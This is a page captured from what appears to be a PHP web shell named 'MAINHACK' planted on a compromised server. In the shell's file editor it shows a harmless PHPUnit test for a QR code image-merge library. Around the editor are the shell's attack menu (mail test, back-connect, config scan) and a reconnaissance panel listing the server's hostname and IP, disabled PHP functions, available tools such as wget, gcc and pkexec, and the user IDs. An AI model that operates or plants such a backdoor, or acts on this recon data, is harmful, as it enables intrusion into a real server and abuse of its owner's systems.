[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ImageMergeTest.php
<?php use PHPUnit\Framework\TestCase; use SimpleSoftwareIO\QrCode\Image; use SimpleSoftwareIO\QrCode\ImageMerge; class ImageMergeTest extends TestCase { /** * The location to save the testing image. * * @var string */ protected $testImageSaveLocation; /** * The location to save the compare image. * * @var string */ protected $compareTestSaveLocation; /** * The ImageMerge Object. * * @var ImageMerge */ protected $testImage; /** * The location of the test image that is having an image merged over top of it. * * @var string */ protected $testImagePath; /** * The location of the test image that is being merged. * @var mixed */ protected $mergeImagePath; public function setUp(): void { $this->testImagePath = file_get_contents(dirname(__FILE__).'/Images/simplesoftware-icon-grey-blue.png'); $this->mergeImagePath = file_get_contents(dirname(__FILE__).'/Images/200x300.png'); $this->testImage = new ImageMerge( new Image($this->testImagePath), new Image($this->mergeImagePath) ); $this->testImageSaveLocation = dirname(__FILE__).'/testImage.png'; $this->compareTestSaveLocation = dirname(__FILE__).'/compareImage.png'; } public function tearDown(): void { @unlink($this->testImageSaveLocation); @unlink($this->compareTestSaveLocation); } public function test_it_merges_two_images_together_and_centers_it() { //We know the source image is 512x512 and the merge image is 200x300 $source = imagecreatefromstring($this->testImagePath); $merge = imagecreatefromstring($this->mergeImagePath); //Create a PNG and place the image in the middle using 20% of the area. imagecopyresampled( $source, $merge, 205, 222, 0, 0, 102, 67, 536, 354 ); imagepng($source, $this->compareTestSaveLocation); $testImage = $this->testImage->merge(.2); file_put_contents($this->testImageSaveLocation, $testImage); $this->assertEquals(file_get_contents($this->compareTestSaveLocation), file_get_contents($this->testImageSaveLocation)); } public function test_it_throws_an_exception_when_percentage_is_greater_than_1() { $this->expectException(InvalidArgumentException::class); $this->testImage->merge(1.1); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002